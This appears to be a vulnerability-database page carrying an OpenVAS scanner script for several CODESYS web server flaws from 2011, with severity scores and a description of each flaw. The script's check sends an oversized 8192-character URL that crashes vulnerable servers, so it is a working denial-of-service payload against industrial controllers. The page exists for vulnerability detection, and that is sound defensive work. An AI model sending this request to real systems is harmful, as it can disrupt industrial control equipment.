Lucene search

K
openvasCopyright (C) 2011 Greenbone AGOPENVAS:1361412562310802280
HistoryDec 06, 2011 - 12:00 a.m.

Codesys CmpWebServer Multiple Vulnerabilities

2011-12-0600:00:00
Copyright (C) 2011 Greenbone AG
plugins.openvas.org
14

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

6.4 Medium

AI Score

Confidence

Low

0.835 High

EPSS

Percentile

98.5%

Codesys is prone to multiple vulnerabilities.

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802280");
  script_version("2023-07-21T05:05:22+0000");
  script_cve_id("CVE-2011-5007", "CVE-2011-5008", "CVE-2011-5009", "CVE-2011-5058");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2011-12-06 12:12:12 +0530 (Tue, 06 Dec 2011)");
  script_name("Codesys CmpWebServer Multiple Vulnerabilities");

  script_xref(name:"URL", value:"http://secunia.com/advisories/47018");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/18187");
  script_xref(name:"URL", value:"http://aluigi.altervista.org/adv/codesys_1-adv.txt");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/107456/codesys-overflow.txt");

  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Buffer overflow");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 8080);
  script_mandatory_keys("3S_WebServer/banner");

  script_tag(name:"impact", value:"Successful exploitation may allow remote attackers to execute
  arbitrary code on the system or cause the application to crash.");

  script_tag(name:"affected", value:"Codesys version 3.4 SP4 Patch 2 and prior.");

  script_tag(name:"insight", value:"- A boundary error in the Control service when processing web
  requests can be exploited to cause a stack-based buffer overflow via an overly
  long URL sent to TCP port 8080

  - A NULL pointer dereference error in the CmbWebserver.dll module of the
  Control service when processing HTTP POST requests can be exploited to deny
  processing further requests via a specially crafted 'Content-Length' header
  sent to TCP port 8080

  - A NULL pointer dereference error in the CmbWebserver.dll module of the
  Control service when processing web requests can be exploited to deny
  processing further requests by sending a request with an unknown HTTP
  method to TCP port 8080

  - An error in the Control service when processing web requests containing a
  non existent directory can be exploited to create arbitrary directories
  within the webroot via requests sent to TCP port 8080

  - An integer overflow error in the Gateway service when processing certain
  requests can be exploited to cause a heap-based buffer overflow via a
  specially crafted packet sent to TCP port 1217");

  script_tag(name:"solution", value:"Upgrade to version 2.3.9.32, 3.5 or later.");

  script_tag(name:"summary", value:"Codesys is prone to multiple vulnerabilities.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");

port = http_get_port(default:8080);

banner = http_get_remote_headers(port:port);
if("Server: 3S_WebServer" >!< banner)
  exit(0);

if(http_is_dead(port:port))
  exit(0);

req = string("GET /", crap(data:"a", length:8192), "\\a HTTP/1.0\r\n\r\n");
http_send_recv(port:port, data:req);

if(http_is_dead(port:port)) {
  security_message(port:port);
  exit(0);
}

exit(99);

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

6.4 Medium

AI Score

Confidence

Low

0.835 High

EPSS

Percentile

98.5%

Related for OPENVAS:1361412562310802280